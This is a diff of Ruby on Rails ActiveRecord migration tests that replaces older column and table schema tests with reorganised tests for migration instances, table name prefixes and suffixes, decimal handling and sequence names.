+    temp_conn.create_table :testings2, :force => true do |t|
+      t.column :foo, :string
     end
+  ensure
+    Person.connection.drop_table :testings2 rescue nil
+  end
 
-    def test_create_table_with_primary_key_prefix_as_table_name_with_underscore
-      ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
-
-      Person.connection.create_table :testings do |t|
-          t.column :foo, :string
-      end
-
-      assert_equal %w(foo testing_id), Person.connection.columns(:testings).map { |c| c.name }.sort
-    ensure
-      Person.connection.drop_table :testings rescue nil
-      ActiveRecord::Base.primary_key_prefix_type = nil
-    end
+  def connection
+    ActiveRecord::Base.connection
+  end
 
-    def test_create_table_with_primary_key_prefix_as_table_name
-      ActiveRecord::Base.primary_key_prefix_type = :table_name
+  def test_migration_instance_has_connection
+    migration = Class.new(ActiveRecord::Migration).new
+    assert_equal connection, migration.connection
+  end
 
-      Person.connection.create_table :testings do |t|
-          t.column :foo, :string
+  def test_method_missing_delegates_to_connection
+    migration = Class.new(ActiveRecord::Migration) {
+      def connection
+        Class.new {
+          def create_table; "hi mom!"; end
+        }.new
       end
+    }.new
 
-      assert_equal %w(foo testingid), Person.connection.columns(:testings).map { |c| c.name }.sort
-    ensure
-      Person.connection.drop_table :testings rescue nil
-      ActiveRecord::Base.primary_key_prefix_type = nil
-    end
-
-    def test_create_table_with_force_true_does_not_drop_nonexisting_table
-      if Person.connection.table_exists?(:testings2)
-        Person.connection.drop_table :testings2
-      end
+    assert_equal "hi mom!", migration.method_missing(:create_table)
+  end
 
-      # using a copy as we need the drop_table method to
-      # continue to work for the ensure block of the test
-      temp_conn = Person.connection.dup
-      temp_conn.expects(:drop_table).never
-      temp_conn.create_table :testings2, :force => true do |t|
-        t.column :foo, :string
-      end
-    ensure
-      Person.connection.drop_table :testings2 rescue nil
+  def test_add_table_with_decimals
+    Person.connection.drop_table :big_numbers rescue nil
+
+    assert !BigNumber.table_exists?
+    GiveMeBigNumbers.up
+
+    assert BigNumber.create(
+      :bank_balance => 1586.43,
+      :big_bank_balance => BigDecimal("1000234000567.95"),
+      :world_population => 6000000000,
+      :my_house_population => 3,
+      :value_of_e => BigDecimal("2.7182818284590452353602875")
+    )
+
+    b = BigNumber.first
+    assert_not_nil b
+
+    assert_not_nil b.bank_balance
+    assert_not_nil b.big_bank_balance
+    assert_not_nil b.world_population
+    assert_not_nil b.my_house_population
+    assert_not_nil b.value_of_e
+
+    # TODO: set world_population >= 2**62 to cover 64-bit platforms and test
+    # is_a?(Bignum)
+    assert_kind_of Integer, b.world_population
+    assert_equal 6000000000, b.world_population
+    assert_kind_of Fixnum, b.my_house_population
+    assert_equal 3, b.my_house_population
+    assert_kind_of BigDecimal, b.bank_balance
+    assert_equal BigDecimal("1586.43"), b.bank_balance
+    assert_kind_of BigDecimal, b.big_bank_balance
+    assert_equal BigDecimal("1000234000567.95"), b.big_bank_balance
+
+    # This one is fun. The 'value_of_e' field is defined as 'DECIMAL' with
+    # precision/scale explicitly left out.  By the SQL standard, numbers
+    # assigned to this field should be truncated but that's seldom respected.
+    if current_adapter?(:PostgreSQLAdapter)
+      # - PostgreSQL changes the SQL spec on columns declared simply as
+      # "decimal" to something more useful: instead of being given a scale
+      # of 0, they take on the compile-time limit for precision and scale,
+      # so the following should succeed unless you have used really wacky
+      # compilation options
+      # - SQLite2 has the default behavior of preserving all data sent in,
+      # so this happens there too
+      assert_kind_of BigDecimal, b.value_of_e
+      assert_equal BigDecimal("2.7182818284590452353602875"), b.value_of_e
+    elsif current_adapter?(:SQLite3Adapter)
+      # - SQLite3 stores a float, in violation of SQL
+      assert_kind_of BigDecimal, b.value_of_e
+      assert_in_delta BigDecimal("2.71828182845905"), b.value_of_e, 0.00000000000001
+    else
+      # - SQL standard is an integer
+      assert_kind_of Fixnum, b.value_of_e
+      assert_equal 2, b.value_of_e
     end
 
-    def test_create_table_with_timestamps_should_create_datetime_columns
-      table_name = :testings
-
-      Person.connection.create_table table_name do |t|
-        t.timestamps
-      end
-      created_columns = Person.connection.columns(table_name)
-
-      created_at_column = created_columns.detect {|c| c.name == 'created_at' }
-      updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
+    GiveMeBigNumbers.down
+    assert_raise(ActiveRecord::StatementInvalid) { BigNumber.first }
+  end
 
-      assert !created_at_column.null
-      assert !updated_at_column.null
-    ensure
-      Person.connection.drop_table table_name rescue nil
-    end
+  def test_filtering_migrations
+    assert !Person.column_methods_hash.include?(:last_name)
+    assert !Reminder.table_exists?
 
-    def test_create_table_with_timestamps_should_create_datetime_columns_with_options
-      table_name = :testings
+    name_filter = lambda { |migration| migration.name == "ValidPeopleHaveLastNames" }
+    ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid", &name_filter)
 
-      Person.connection.create_table table_name do |t|
-        t.timestamps :null => false
-      end
-      created_columns = Person.connection.columns(table_name)
+    Person.reset_column_information
+    assert Person.column_methods_hash.include?(:last_name)
+    assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
 
-      created_at_column = created_columns.detect {|c| c.name == 'created_at' }
-      updated_at_column = created_columns.detect {|c| c.name == 'updated_at' }
+    ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", &name_filter)
 
-      assert !created_at_column.null
-      assert !updated_at_column.null
-    ensure
-      Person.connection.drop_table table_name rescue nil
-    end
+    Person.reset_column_information
+    assert !Person.column_methods_hash.include?(:last_name)
+    assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
+  end
 
-    def test_create_table_without_a_block
-      table_name = :testings
-      Person.connection.create_table table_name
-    ensure
-      Person.connection.drop_table table_name rescue nil
+  class MockMigration < ActiveRecord::Migration
+    attr_reader :went_up, :went_down
+    def initialize
+      @went_up   = false
+      @went_down = false
     end
 
-    # Sybase, and SQLite3 will not allow you to add a NOT NULL
-    # column to a table without a default value.
-    unless current_adapter?(:SybaseAdapter, :SQLite3Adapter)
-      def test_add_column_not_null_without_default
-        Person.connection.create_table :testings do |t|
-          t.column :foo, :string
-        end
-        Person.connection.add_column :testings, :bar, :string, :null => false
-
-        assert_raise(ActiveRecord::StatementInvalid) do
-          Person.connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
-        end
-      ensure
-        Person.connection.drop_table :testings rescue nil
-      end
+    def up
+      @went_up = true
+      super
     end
 
-    def test_add_column_not_null_with_default
-      Person.connection.create_table :testings do |t|
-        t.column :foo, :string
-      end
-
-      con = Person.connection
-      Person.connection.enable_identity_insert("testings", true) if current_adapter?(:SybaseAdapter)
-      Person.connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}) values (1, 'hello')"
-      Person.connection.enable_identity_insert("testings", false) if current_adapter?(:SybaseAdapter)
-      assert_nothing_raised {Person.connection.add_column :testings, :bar, :string, :null => false, :default => "default" }
-
-      assert_raise(ActiveRecord::StatementInvalid) do
-        unless current_adapter?(:OpenBaseAdapter)
-          Person.connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) values (2, 'hello', NULL)"
-        else
-          Person.connection.insert("INSERT INTO testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) VALUES (2, 'hello', NULL)",
-            "Testing Insert","id",2)
-        end
-      end
-    ensure
-      Person.connection.drop_table :testings rescue nil
+    def down
+      @went_down = true
+      super
     end
+  end
 
-    # We specifically do a manual INSERT here, and then test only the SELECT
-    # functionality. This allows us to more easily catch INSERT being broken,
-    # but SELECT actually working fine.
-    def test_native_decimal_insert_manual_vs_automatic
-      correct_value = '0012345678901234567890.0123456789'.to_d
-
-      Person.delete_all
-      Person.connection.add_column "people", "wealth", :decimal, :precision => '30', :scale => '10'
-      Person.reset_column_information
-
-      # Do a manual insertion
-      if current_adapter?(:OracleAdapter)
-        Person.connection.execute "insert into people (id, wealth, created_at, updated_at) values (people_seq.nextval, 12345678901234567890.0123456789, 0, 0)"
-      elsif current_adapter?(:OpenBaseAdapter) || (current_adapter?(:MysqlAdapter) && Mysql.client_version < 50003) #before mysql 5.0.3 decimals stored as strings
-        Person.connection.execute "insert into people (wealth, created_at, updated_at) values ('12345678901234567890.0123456789', 0, 0)"
-      elsif current_adapter?(:PostgreSQLAdapter)
-        Person.connection.execute "insert into people (wealth, created_at, updated_at) values (12345678901234567890.0123456789, now(), now())"
-      else
-        Person.connection.execute "insert into people (wealth, created_at, updated_at) values (12345678901234567890.0123456789, 0, 0)"
-      end
-
-      # SELECT
-      row = Person.find(:first)
-      assert_kind_of BigDecimal, row.wealth
-
-      # If this assert fails, that means the SELECT is broken!
-      unless current_adapter?(:SQLite3Adapter)
-        assert_equal correct_value, row.wealth
-      end
-
-      # Reset to old state
-      Person.delete_all
-
-      # Now use the Rails insertion
-      assert_nothing_raised { Person.create :wealth => BigDecimal.new("12345678901234567890.0123456789") }
-
-      # SELECT
-      row = Person.find(:first)
-      assert_kind_of BigDecimal, row.wealth
+  def test_instance_based_migration_up
+    migration = MockMigration.new
+    assert !migration.went_up, 'have not gone up'
+    assert !migration.went_down, 'have not gone down'
 
-      # If these asserts fail, that means the INSERT (create function, or cast to SQL) is broken!
-      unless current_adapter?(:SQLite3Adapter)
-        assert_equal correct_value, row.wealth
-      end
+    migration.migrate :up
+    assert migration.went_up, 'have gone up'
+    assert !migration.went_down, 'have not gone down'
+  end
 
-      # Reset to old state
-      Person.connection.del_column "people", "wealth" rescue nil
-      Person.reset_column_information
-    end
+  def test_instance_based_migration_down
+    migration = MockMigration.new
+    assert !migration.went_up, 'have not gone up'
+    assert !migration.went_down, 'have not gone down'
 
-    def test_add_column_with_precision_and_scale
-      Person.connection.add_column 'people', 'wealth', :decimal, :precision => 9, :scale => 7
-      Person.reset_column_information
+    migration.migrate :down
+    assert !migration.went_up, 'have gone up'
+    assert migration.went_down, 'have not gone down'
+  end
 
-      wealth_column = Person.columns_hash['wealth']
-      assert_equal 9, wealth_column.precision
-      assert_equal 7, wealth_column.scale
+  def test_migrator_one_up_with_exception_and_rollback
+    unless ActiveRecord::Base.connection.supports_ddl_transactions?
+      skip "not supported on #{ActiveRecord::Base.connection.class}"
     end
 
-    # Test SQLite adapter specifically for decimal types with precision and scale
-    # attributes, since these need to be maintained in schema but aren't actually
-    # used in SQLite itself
-    if current_adapter?(:SQLite3Adapter)
-      def test_change_column_with_new_precision_and_scale
-        Person.delete_all
-        Person.connection.add_column 'people', 'wealth', :decimal, :precision => 9, :scale => 7
-        Person.reset_column_information
-
-        Person.connection.change_column 'people', 'wealth', :decimal, :precision => 12, :scale => 8
-        Person.reset_column_information
-
-        wealth_column = Person.columns_hash['wealth']
-        assert_equal 12, wealth_column.precision
-        assert_equal 8, wealth_column.scale
-      end
-
-      def test_change_column_preserve_other_column_precision_and_scale
-        Person.delete_all
-        Person.connection.add_column 'people', 'last_name', :string
-        Person.connection.add_column 'people', 'wealth', :decimal, :precision => 9, :scale => 7
-        Person.reset_column_information
-
-        wealth_column = Person.columns_hash['wealth']
-        assert_equal 9, wealth_column.precision
-        assert_equal 7, wealth_column.scale
-
-        Person.connection.change_column 'people', 'last_name', :string, :null => false
-        Person.reset_column_information
+    refute Person.column_methods_hash.include?(:last_name)
 
-        wealth_column = Person.columns_hash['wealth']
-        assert_equal 9, wealth_column.precision
-        assert_equal 7, wealth_column.scale
-      end
-    end
+    migration = Struct.new(:name, :version) {
+      def migrate(x); raise 'Something broke'; end
+    }.new('zomg', 100)
 
-    def test_native_types
-      Person.delete_all
-      Person.connection.add_column "people", "last_name", :string
-      Person.connection.add_column "people", "bio", :text
-      Person.connection.add_column "people", "age", :integer
-      Person.connection.add_column "people", "height", :float
-      Person.connection.add_column "people", "wealth", :decimal, :precision => '30', :scale => '10'
-      Person.connection.add_column "people", "birthday", :datetime
-      Person.connection.add_column "people", "favorite_day", :date
-      Person.connection.add_column "people", "moment_of_truth", :datetime
-      Person.connection.add_column "people", "male", :boolean
-      Person.reset_column_information
-
-      assert_nothing_raised do
-        Person.create :first_name => 'bob', :last_name => 'bobsen',
-          :bio => "I was born ....", :age => 18, :height => 1.78,
-          :wealth => BigDecimal.new("12345678901234567890.0123456789"),
-          :birthday => 18.years.ago, :favorite_day => 10.days.ago,
-          :moment_of_truth => "1782-10-10 21:40:18", :male => true
-      end
+    migrator = ActiveRecord::Migrator.new(:up, [migration], 100)
 
-      bob = Person.find(:first)
-      assert_equal 'bob', bob.first_name
-      assert_equal 'bobsen', bob.last_name
-      assert_equal "I was born ....", bob.bio
-      assert_equal 18, bob.age
+    e = assert_raise(StandardError) { migrator.migrate }
 
-      # Test for 30 significant digits (beyond the 16 of float), 10 of them
-      # after the decimal place.
-
-      unless current_adapter?(:SQLite3Adapter)
-        assert_equal BigDecimal.new("0012345678901234567890.0123456789"), bob.wealth
-      end
+    assert_equal "An error has occurred, this and all later migrations canceled:\n\nSomething broke", e.message
 
-      assert_equal true, bob.male?
+    Person.reset_column_information
+    refute Person.column_methods_hash.include?(:last_name)
+  end
 
-      assert_equal String, bob.first_name.class
-      assert_equal String, bob.last_name.class
-      assert_equal String, bob.bio.class
-      assert_equal Fixnum, bob.age.class
-      assert_equal Time, bob.birthday.class
+  def test_schema_migrations_table_name
+    ActiveRecord::Base.table_name_prefix = "prefix_"
+    ActiveRecord::Base.table_name_suffix = "_suffix"
+    Reminder.reset_table_name
+    assert_equal "prefix_schema_migrations_suffix", ActiveRecord::Migrator.schema_migrations_table_name
+    ActiveRecord::Base.table_name_prefix = ""
+    ActiveRecord::Base.table_name_suffix = ""
+    Reminder.reset_table_name
+    assert_equal "schema_migrations", ActiveRecord::Migrator.schema_migrations_table_name
+  ensure
+    ActiveRecord::Base.table_name_prefix = ""
+    ActiveRecord::Base.table_name_suffix = ""
+  end
 
-      if current_adapter?(:OracleAdapter, :SybaseAdapter)
-        # Sybase, and Oracle don't differentiate between date/time
-        assert_equal Time, bob.favorite_day.class
-      else
-        assert_equal Date, bob.favorite_day.class
-      end
+  def test_proper_table_name
+    assert_equal "table", ActiveRecord::Migrator.proper_table_name('table')
+    assert_equal "table", ActiveRecord::Migrator.proper_table_name(:table)
+    assert_equal "reminders", ActiveRecord::Migrator.proper_table_name(Reminder)
+    Reminder.reset_table_name
+    assert_equal Reminder.table_name, ActiveRecord::Migrator.proper_table_name(Reminder)
+
+    # Use the model's own prefix/suffix if a model is given
+    ActiveRecord::Base.table_name_prefix = "ARprefix_"
+    ActiveRecord::Base.table_name_suffix = "_ARsuffix"
+    Reminder.table_name_prefix = 'prefix_'
+    Reminder.table_name_suffix = '_suffix'
+    Reminder.reset_table_name
+    assert_equal "prefix_reminders_suffix", ActiveRecord::Migrator.proper_table_name(Reminder)
+    Reminder.table_name_prefix = ''
+    Reminder.table_name_suffix = ''
+    Reminder.reset_table_name
+
+    # Use AR::Base's prefix/suffix if string or symbol is given
+    ActiveRecord::Base.table_name_prefix = "prefix_"
+    ActiveRecord::Base.table_name_suffix = "_suffix"
+    Reminder.reset_table_name
+    assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name('table')
+    assert_equal "prefix_table_suffix", ActiveRecord::Migrator.proper_table_name(:table)
+    ActiveRecord::Base.table_name_prefix = ""
+    ActiveRecord::Base.table_name_suffix = ""
+    Reminder.reset_table_name
+  end
 
-      # Oracle adapter stores Time or DateTime with timezone value already in _before_type_cast column
-      # therefore no timezone change is done afterwards when default timezone is changed
-      unless current_adapter?(:OracleAdapter)
-        # Test DateTime column and defaults, including timezone.
-        # FIXME: moment of truth may be Time on 64-bit platforms.
-        if bob.moment_of_truth.is_a?(DateTime)
-
-          with_env_tz 'US/Eastern' do
-            bob.reload
-            assert_equal DateTime.local_offset, bob.moment_of_truth.offset
-            assert_not_equal 0, bob.moment_of_truth.offset
-            assert_not_equal "Z", bob.moment_of_truth.zone
-            # US/Eastern is -5 hours from GMT
-            assert_equal Rational(-5, 24), bob.moment_of_truth.offset
-            assert_match(/\A-05:?00\Z/, bob.moment_of_truth.zone) #ruby 1.8.6 uses HH:MM, prior versions use HHMM
-            assert_equal DateTime::ITALY, bob.moment_of_truth.start
-          end
-        end
-      end
+  def test_rename_table_with_prefix_and_suffix
+    assert !Thing.table_exists?
+    ActiveRecord::Base.table_name_prefix = 'p_'
+    ActiveRecord::Base.table_name_suffix = '_s'
+    Thing.reset_table_name
+    Thing.reset_sequence_name
+    WeNeedThings.up
+
+    assert Thing.create("content" => "hello world")
+    assert_equal "hello world", Thing.first.content
+
+    RenameThings.up
+    Thing.table_name = "p_awesome_things_s"
+
+    assert_equal "hello world", Thing.first.content
+  ensure
+    ActiveRecord::Base.table_name_prefix = ''
+    ActiveRecord::Base.table_name_suffix = ''
+    Thing.reset_table_name
+    Thing.reset_sequence_name
+  end
 
-      assert_instance_of TrueClass, bob.male?
-      assert_kind_of BigDecimal, bob.wealth
-    end
+  def test_add_drop_table_with_prefix_and_suffix
+    assert !Reminder.table_exists?
+    ActiveRecord::Base.table_name_prefix = 'prefix_'
+    ActiveRecord::Base.table_name_suffix = '_suffix'
+    Reminder.reset_table_name
+    Reminder.reset_sequence_name
+    WeNeedReminders.up
+    assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
+    assert_equal "hello world", Reminder.first.content
+
+    WeNeedReminders.down
+    assert_raise(ActiveRecord::StatementInvalid) { Reminder.first }
+  ensure
+    ActiveRecord::Base.table_name_prefix = ''
+    ActiveRecord::Base.table_name_suffix = ''
+    Reminder.reset_table_name
+    Reminder.reset_sequence_name
+  end
 
-    if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
-      def test_unabstracted_database_dependent_types
-        Person.delete_all
+  def test_create_table_with_binary_column
+    Person.connection.drop_table :binary_testings rescue nil
 
-        ActiveRecord::Migration.add_column :people, :intelligence_quotient, :tinyint
-        Person.reset_column_information
-        assert_match(/tinyint/, Person.columns_hash['intelligence_quotient'].sql_type)
-      ensure
-        ActiveRecord::Migration.remove_column :people, :intelligence_quotient rescue nil
+    assert_nothing_raised {
+      Person.connection.create_table :binary_testings do |t|
+        t.column "data", :binary, :null => false
       end
-    end
-
-    def test_add_remove_single_field_using_string_arguments
-      assert !Person.column_methods_hash.include?(:last_name)
-
-      ActiveRecord::Migration.add_column 'people', 'last_name', :string
-
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
+    }
 
-      ActiveRecord::Migration.remove_column 'people', 'last_name'
-
-      Person.reset_column_information
-      assert !Person.column_methods_hash.include?(:last_name)
-    end
-
-    def test_add_remove_single_field_using_symbol_arguments
-      assert !Person.column_methods_hash.include?(:last_name)
-
-      ActiveRecord::Migration.add_column :people, :last_name, :string
-
-      Person.reset_column_information
-      assert Person.column_methods_hash.include?(:last_name)
-
-      ActiveRecord::Migration.remove_column :people, :last_name
-
-      Person.reset_column_information
-      assert !Person.column_methods_hash.include?(:last_name)
-    end
+    columns = Person.connection.columns(:binary_testings)
+    data_column = columns.detect { |c| c.name == "data" }
 
     if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
-      def testing_table_for_positioning
-        Person.connection.create_table :testings, :id => false do |t|
-          t.column :first, :integer
-          t.column :second, :integer
-          t.column :third, :integer
-        end
-
-        yield Person.connection
-      ensure
-        Person.connection.drop_table :testings rescue nil
-      end
-      protected :testing_table_for_positioning
-
-      def test_column_positioning
-        testing_table_for_positioning do |conn|
-          assert_equal %w(first second third), conn.columns(:testings).map {|c| c.name }
-        end
-      end
-
-      def test_add_column_with_positioning
-        testing_table_for_positioning do |conn|
-          conn.add_column :testings, :new_col, :integer
-          assert_equal %w(first second third new_col), conn.columns(:testings).map {|c| c.name }
-        end
-        testing_table_for_positioning do |conn|
-          conn.add_column :testings, :new_col, :integer, :first => true
-          assert_equal %w(new_col first second third), conn.columns(:testings).map {|c| c.name }
-        end
-        testing_table_for_positioning do |conn|
-          conn.add_column :testings, :new_col, :integer, :after => :first
-          assert_equal %w(first new_col second third), conn.columns(:testings).map {|c| c.name }
-        end
-      end
-
-      def test_change_column_with_positioning
-        testing_table_for_positioning do |conn|
-          conn.change_column :testings, :second, :integer, :first => true
-          assert_equal %w(second first third), conn.columns(:testings).map {|c| c.name }
-        end
-        testing_table_for_positioning do |conn|
-          conn.change_column :testings, :second, :integer, :after => :third
-          assert_equal %w(first third second), conn.columns(:testings).map {|c| c.name }
-        end
-      end
-    end
-
-    def test_add_rename
-      Person.delete_all
-
-      begin
-        Person.connection.add_column "people", "girlfriend", :string
-        Person.reset_column_information
-        Person.create :girlfriend => 'bobette'
-
-        Person.connection.rename_column "people", "girlfriend", "exgirlfriend"
-
-        Person.reset_column_information
-        bob = Person.find(:first)
-
-        assert_equal "bobette", bob.exgirlfriend
-      ensure
-        Person.connection.remove_column("people", "girlfriend") rescue nil
-        Person.connection.remove_column("people", "exgirlfriend") rescue nil
-      end
-
-    end
-
-    def test_rename_column_using_symbol_arguments
-      begin
-        names_before = Person.find(:all).map(&:first_name)
-        Person.connection.rename_column :people, :first_name, :nick_name
-        Person.reset_column_information
-        assert Person.column_names.include?("nick_name")
-        assert_equal names_before, Person.find(:all).map(&:nick_name)
-      ensure
-        Person.connection.remove_column("people","nick_name")
-        Person.connection.add_column("people","first_name", :string)
-      end
-    end
-
-    def test_rename_column
-      begin
-        names_before = Person.find(:all).map(&:first_name)
-        Person.connection.rename_column "people", "first_name", "nick_name"
-        Person.reset_column_information
-        assert Person.column_names.include?("nick_name")
-        assert_equal names_before, Person.find(:all).map(&:nick_name)
-      ensure
-        Person.connection.remove_column("people","nick_name")
-        Person.connection.add_column("people","first_name", :string)
-      end
-    end
-
-    def test_rename_column_preserves_default_value_not_null
-      begin
-        default_before = Developer.connection.columns("developers").find { |c| c.name == "salary" }.default
-        assert_equal 70000, default_before
-        Developer.connection.rename_column "developers", "salary", "anual_salary"
-        Developer.reset_column_information
-        assert Developer.column_names.include?("anual_salary")
-        default_after = Developer.connection.columns("developers").find { |c| c.name == "anual_salary" }.default
-        assert_equal 70000, default_after
-      ensure
-        Developer.connection.rename_column "developers", "anual_salary", "salary"
-        Developer.reset_column_information
-      end
-    end
-
-    def test_rename_nonexistent_column
-      ActiveRecord::Base.connection.create_table(:hats) do |table|
-        table.column :hat_name, :string, :default => nil
-      end
-      exception = if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
-        ActiveRecord::StatementInvalid
-      else
-        ActiveRecord::ActiveRecordError
-      end
-      assert_raise(exception) do
-        Person.connection.rename_column "hats", "nonexistent", "should_fail"
-      end
-    ensure
-      ActiveRecord::Base.connection.drop_table(:hats)
-    end
-
-    def test_rename_column_with_sql_reserved_word
-      begin
-        assert_nothing_raised { Person.connection.rename_column "people", "first_name", "group" }
-        Person.reset_column_information
-        assert Person.column_names.include?("group")
-      ensure
-        Person.connection.remove_column("people", "group") rescue nil
-        Person.connection.add_column("people", "first_name", :string) rescue nil
-      end
-    end
-
-    def test_rename_column_with_an_index
-      ActiveRecord::Base.connection.create_table(:hats) do |table|
-        table.column :hat_name, :string, :limit => 100
-        table.column :hat_size, :integer
-      end
-      Person.connection.add_index :hats, :hat_name
-      assert_nothing_raised do
-        Person.connection.rename_column "hats", "hat_name", "name"
-      end
-    ensure
-      ActiveRecord::Base.connection.drop_table(:hats)
-    end
-
-    def test_remove_column_with_index
-      ActiveRecord::Base.connection.create_table(:hats) do |table|
-        table.column :hat_name, :string, :limit => 100
-        table.column :hat_size, :integer
-      end
-      ActiveRecord::Base.connection.add_index "hats", "hat_size"
-
-      assert_nothing_raised { Person.connection.remove_column("hats", "hat_size") }
-    ensure
-      ActiveRecord::Base.connection.drop_table(:hats)
-    end
-
-    def test_remove_column_with_multi_column_index
-      ActiveRecord::Base.connection.create_table(:hats) do |table|
-        table.column :hat_name, :string, :limit => 100
-        table.column :hat_size, :integer
-        table.column :hat_style, :string, :limit => 100
-      end
-      ActiveRecord::Base.connection.add_index "hats", ["hat_style", "hat_size"], :unique => true
-
-      assert_nothing_raised { Person.connection.remove_column("hats", "hat_size") }
-    ensure
-      ActiveRecord::Base.connection.drop_table(:hats)
-    end
-
-    def test_remove_column_no_second_parameter_raises_exception
-      assert_raise(ArgumentError) { Person.connection.remove_column("funny") }
+      assert_equal '', data_column.default
+    else
+      assert_nil data_column.default
     end
 
-    def test_change_type_of_not_null_column
-      assert_nothing_raised do
-        Topic.connection.change_column "topics", "written_on", :datetime, :null => false
-        Topic.reset_column_information
-
-        Topic.connection.change_column "topics", "written_on", :datetime, :null => false
-        Topic.reset_column_information
-
-        Topic.connection.change_column "topics", "written_on", :datetime, :null => true
-        Topic.reset_column_information
-      end
-    end
+    Person.connection.drop_table :binary_testings rescue nil
+  end
 
-    if current_adapter?(:SQLite3Adapter)
-      def test_rename_table_for_sqlite_should_work_with_reserved_words
-        begin
-          assert_nothing_raised do
-            ActiveRecord::Base.connection.rename_table :references, :old_references
-            ActiveRecord::Base.connection.create_table :octopuses do |t|
-              t.column :url, :string
-            end
-          end
-
-          assert_nothing_raised { ActiveRecord::Base.connection.rename_table :octopuses, :references }
-
-          # Using explicit id in insert for compatibility across all databases
-          con = ActiveRecord::Base.connection
-          assert_nothing_raised do
-            con.execute "INSERT INTO 'references' (#{con.quote_column_name('id')}, #{con.quote_column_name('url')}) VALUES (1, 'http://rubyonrails.com')"
-          end
-          assert_equal 'http://rubyonrails.com', ActiveRecord::Base.connection.select_value("SELECT url FROM 'references' WHERE id=1")
-
-        ensure
-          ActiveRecord::Base.connection.drop_table :references
-          ActiveRecord::Base.connection.rename_table :old_references, :references
-        end
-      end
-    end
+  def test_create_table_with_custom_sequence_name
+    skip "not supported" unless current_adapter? :OracleAdapter
 
-    def test_rename_table
+    # table name is 29 chars, the standard sequence name will
+    # be 33 chars and should be shortened
+    assert_nothing_raised do
       begin
-        ActiveRecord::Base.connection.create_table :octopuses do |t|
-          t.column :url, :string
+        Person.connection.create_table :table_with_name_thats_just_ok do |t|
+          t.column :foo, :string, :null => false
         end
-        ActiveRecord::Base.connection.rename_table :octopuses, :octopi
-
-        # Using explicit id in insert for compatibility across all databases
-        con = ActiveRecord::Base.connection
-        con.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
-        assert_nothing_raised { con.execute "INSERT INTO octopi (#{con.quote_column_name('id')}, #{con.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')" }
-        con.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
-
-        assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', ActiveRecord::Base.connection.select_value("SELECT url FROM octopi WHERE id=1")
-
       ensure
-        ActiveRecord::Base.connection.drop_table :octopuses rescue nil
-        ActiveRecord::Base.connection.drop_table :octopi rescue nil
+        Person.connection.drop_table :table_with_name_thats_just_ok rescue nil
       end
     end
 
-    def test_change_column_nullability
-      Person.delete_all
-      Person.connection.add_column "people", "funny", :boolean
-      Person.reset_column_information
-      assert Person.columns_hash["funny"].null, "Column 'funny' must initially allow nulls"
-      Person.connection.change_column "people", "funny", :boolean, :null => false, :default => true
-      Person.reset_column_information
-      assert !Person.columns_hash["funny"].null, "Column 'funny' must *not* allow nulls at this point"
-      Person.connection.change_column "people", "funny", :boolean, :null => true
-      Person.reset_column_information
-      assert Person.columns_hash["funny"].null, "Column 'funny' must allow nulls again at this point"
-    end
-
-    def test_rename_table_with_an_index
+    # should be all good w/ a custom sequence name
+    assert_nothing_raised do
       begin
-        ActiveRecord::Base.connection.create_table :octopuses do |t|
-          t.column :url, :string
+        Person.connection.create_table :table_with_name_thats_just_ok,
+                                       :sequence_name => 'suitably_short_seq' do |t|
+          t.column :foo, :string, :null => false
         end
-        ActiveRecord::Base.connection.add_index :octopuses, :url
-
-        ActiveRecord::Base.connection.rename_table :octopuses, :octopi
 
-        # Using explicit id in insert for compatibility across all databases
-        con = ActiveRecord::Base.connection
-        con.enable_identity_insert("octopi", true) if current_adapter?(:SybaseAdapter)
-        assert_nothing_raised { con.execute "INSERT INTO octopi (#{con.quote_column_name('id')}, #{con.quote_column_name('url')}) VALUES (1, 'http://www.foreverflying.com/octopus-black7.jpg')" }
-        con.enable_identity_insert("octopi", false) if current_adapter?(:SybaseAdapter)
+        Person.connection.execute("select suitably_short_seq.nextval from dual")
 
-        assert_equal 'http://www.foreverflying.com/octopus-black7.jpg', ActiveRecord::Base.connection.select_value("SELECT url FROM octopi WHERE id=1")
-        assert ActiveRecord::Base.connection.indexes(:octopi).first.columns.include?("url")
       ensure
-        ActiveRecord::Base.connection.drop_table :octopuses rescue nil
-        ActiveRecord::Base.connection.drop_table :octopi rescue nil
-      end
-    end
-
-    def test_change_column
-      Person.connection.add_column 'people', 'age', :integer
-      label = "test_change_column Columns"
-      old_columns = Person.connection.columns(Person.table_name, label)
-      assert old_columns.find { |c| c.name == 'age' and c.type == :integer }
-
-      assert_nothing_raised { Person.connection.change_column "people", "age", :string }
-
-      new_columns = Person.connection.columns(Person.table_name, label)
-      assert_nil new_columns.find { |c| c.name == 'age' and c.type == :integer }
-      assert new_columns.find { |c| c.name == 'age' and c.type == :string }
-
-      old_columns = Topic.connection.columns(Topic.table_name, label)
-      assert old_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == true }
-      assert_nothing_raised { Topic.connection.change_column :topics, :approved, :boolean, :default => false }
-      new_columns = Topic.connection.columns(Topic.table_name, label)
-      assert_nil new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == true }
-      assert new_columns.find { |c| c.name == 'approved' and c.type == :boolean and c.default == false }
-      assert_nothing_raised { Topic.connection.change_column :topics, :approved, :boolean, :default => true }
-    end
-
-    def test_change_column_with_nil_default
-      Person.connection.add_column "people", "contributor", :boolean, :default => true
-      Person.reset_column_information
-      assert Person.new.contributor?
-
